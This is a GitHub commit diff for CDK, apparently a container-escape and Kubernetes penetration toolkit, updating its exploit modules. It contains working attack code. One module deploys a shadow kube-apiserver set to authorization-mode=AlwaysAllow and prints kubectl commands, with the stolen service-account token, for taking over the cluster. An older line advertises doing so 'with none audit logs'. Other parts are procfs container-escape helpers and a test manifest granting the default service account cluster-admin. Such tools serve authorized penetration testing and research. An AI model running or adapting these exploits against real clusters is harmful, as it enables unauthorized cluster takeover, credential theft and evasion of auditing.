Skip to content

Commit

Permalink
Merge pull request #80 from cdk-team/v1.5.2-alpha
Browse files Browse the repository at this point in the history
V1.5.2 alpha
  • Loading branch information
neargle authored Mar 12, 2023
2 parents b0ca845 + 751705e commit d9ab557
Show file tree
Hide file tree
Showing 5 changed files with 65 additions and 27 deletions.
48 changes: 35 additions & 13 deletions pkg/exploit/k8s_shadow_apiserver.go
Original file line number Diff line number Diff line change
Expand Up @@ -67,9 +67,11 @@ func findApiServerPodInMasterNode(token string, serverAddr string) (string, erro
return "", errors.New("invalid to list pods, possible caused by api-server forbidden this request.")
}
// extract pod name
pattern := regexp.MustCompile(`"/api/v1/namespaces/kube-system/pods/(kube-apiserver\b[^"]*?)"`)
// sample: {"metadata":{"name":"kube-apiserver-ubuntu-linux-20-04-desktop","namespace":"kube-system","uid":"b7564d4e-3bb1-48ef-8885-3984be70f46d" .. -> kube-apiserver-ubuntu-linux-20-04-desktop
pattern := regexp.MustCompile(`"metadata":{"name":"(kube-apiserver\b[^"]*?)"`)
matched := pattern.FindAllStringSubmatch(resp, -1)
if matched == nil {
fmt.Println(resp)
return "", errors.New("Cannot find kube-apiserver pod in namespace:kube-system, maybe target K8s master node managed by cloud provider, cannot deploy api-server in this environment.")
}

Expand Down Expand Up @@ -109,8 +111,8 @@ func dumpPodConfig(token string, serverAddr string, podName string, namespace st
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") {
log.Println("api-server response:")
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
log.Println("api-server response in dumpPodConfig:")
fmt.Println(resp)
return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
}
Expand Down Expand Up @@ -170,11 +172,13 @@ func generateShadowApiServerConf(json string) string {
}

// set anonymous-auth to true
reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
if !strings.Contains(json, "--anonymous-auth") {
json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`)
}
// change note: anonymous-auth is not valid in k8s 1.22 and later, see https://github.com/cdk-team/CDK/issues/77

// reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
// json = reg.ReplaceAllString(json, "${1}true${3}")
// if !strings.Contains(json, "--anonymous-auth") {
// json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`)
// }

// set authorization-mode=AlwaysAllow
reg = regexp.MustCompile(`("--authorization-mode\s*?=\s*?)(.*?)(")`)
Expand Down Expand Up @@ -211,8 +215,8 @@ func deployPod(token string, serverAddr string, namespace string, data string) (
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") {
log.Println("api-server response:")
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
log.Println("api-server response in deployPod:")
fmt.Println(resp)
return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
}
Expand Down Expand Up @@ -265,7 +269,7 @@ func (p K8sShadowApiServerS) Run() bool {
return false
}

if !strings.Contains(resp, "selfLink") {
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
fmt.Println("response data:", resp)
log.Println("exploit failed.")
return false
Expand All @@ -276,8 +280,26 @@ func (p K8sShadowApiServerS) Run() bool {
namespace := gjson.Get(resp, "metadata.namespace").String()
node := gjson.Get(resp, "spec.nodeName").String()
fmt.Printf("\tshadow api-server pod name:%s, namespace:%s, node name:%s\n", podName, namespace, node)
fmt.Printf("\tlistening secure-port: https://%s:9444\n", node)
fmt.Printf("\tgo further run `cdk kcurl %s get https://%s:9444/api` to takeover cluster with none audit logs!\n", tokenFlag, node)
fmt.Printf("\tlistening port: https://%s:9444\n", node)

var token = ""
switch tokenFlag {
case "default":
token, _ = kubectl.SecretToken(conf.K8sSATokenDefaultPath)
case "anonymous":
token = ""
default:
// TODO: why default flag not to use default token(conf.K8sSATokenDefaultPath)?
token, _ = kubectl.SecretToken(tokenFlag)
}

// sample:
// kubectl --server=https://<node-hostname>:9444/ --token=<token> --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A
if token == "" {
fmt.Println("\trun: kubectl --server=https://%s:9444 --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node)
} else {
fmt.Printf("\trun: kubectl --server=https://%s:9444 --token=%s --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node, token)
}

return true
}
Expand Down
8 changes: 3 additions & 5 deletions pkg/exploit/mount_procfs.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,17 +31,15 @@ import (
"regexp"
)

//https://wohin.me/rong-qi-tao-yi-gong-fang-xi-lie-yi-tao-yi-ji-zhu-gai-lan/

func GetDockerAbsPath() string {
data, err := ioutil.ReadFile("/proc/self/mounts")
if err != nil {
log.Println(err)
}
//fmt.Println(string(data))

// workdir=/var/lib/docker/overlay2/9383b939bf4ed66b3f01990664d533f97f1cf9c544cb3f3d2830fe97136eb76f/work
pattern := regexp.MustCompile("workdir=([\\w\\d/]+)/work")
// example 1: workdir=/var/lib/docker/overlay2/9383b939bf4ed66b3f01990664d533f97f1cf9c544cb3f3d2830fe97136eb76f/work -> /data/docker/overlay2/f5aa028c48864dd7fefdd00230e6a6954d9292fdcc4e5f80575d186590ff6b5c
// example 2: workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4301/work -> /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4301
pattern := regexp.MustCompile(`workdir=((/[^/ ]+)+)/work`)
params := pattern.FindStringSubmatch(string(data))
if len(params) < 2 {
log.Fatal("failed to find docker abs path in /proc/self/mounts")
Expand Down
4 changes: 4 additions & 0 deletions pkg/task/auto_escape.go
Original file line number Diff line number Diff line change
Expand Up @@ -162,11 +162,15 @@ func (p taskAutoEscapeS) Desc() string {
}
func (p taskAutoEscapeS) Exec() bool {
cmd := cli.Args["<cmd>"].(string)

log.Printf("%s\n", util.RedBold.Sprint("Caution: Flag auto-escape is deprecated as of CDK v1.5.1, and will be archived in v2.0. We recommend migrating to `./cdk eva --full` and `./cdk run`."))

if autoEscape(cmd) {
log.Println("all exploits are finished, auto exploit success!")
} else {
log.Println("all exploits are finished, auto exploit failed.")
}

return true
}

Expand Down
30 changes: 22 additions & 8 deletions pkg/tool/kubectl/common.go
Original file line number Diff line number Diff line change
Expand Up @@ -85,23 +85,37 @@ func GetServiceAccountToken(tokenPath string) (string, error) {
return string(token), nil
}

func SecretToken(tokenPath string) (string, error) {
var tokenErr error
var token string

if tokenPath != "" {
token, tokenErr = GetServiceAccountToken(tokenPath)
} else if token == "" {
token, tokenErr = GetServiceAccountToken(conf.K8sSATokenDefaultPath)
}
if tokenErr != nil {
return "", &errors.CDKRuntimeError{Err: tokenErr, CustomMsg: "load K8s service account token error."}
}

token = strings.TrimSpace(token)

return token, nil
}

/*
curl -s https://192.168.0.234:6443/api/v1/nodes?watch --header "Authorization: Bearer xxx" --cacert ca.crt
*/
//https://github.com/kubernetes/client-go/blob/66db2540991da169fb60fce735064a55bfc52b71/rest/config.go#L483
func ServerAccountRequest(opts K8sRequestOption) (string, error) {

// parse token
var tokenErr error
if opts.Anonymous {
opts.Token = ""
} else if opts.TokenPath != "" {
opts.Token, tokenErr = GetServiceAccountToken(opts.TokenPath)
} else if opts.Token == "" {
opts.Token, tokenErr = GetServiceAccountToken(conf.K8sSATokenDefaultPath)
}
if tokenErr != nil {
return "", &errors.CDKRuntimeError{Err: tokenErr, CustomMsg: "load K8s service account token error."}
} else if token, err := SecretToken(opts.TokenPath); err != nil {
return "", err
} else {
opts.Token = token
}

// parse url if opts.Url is ""
Expand Down
2 changes: 1 addition & 1 deletion test/k8s_exploit_util/default_to_admin.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: cdxy-default-to-admin-binding
namespace: default
Expand Down

0 comments on commit d9ab557

Please sign in to comment.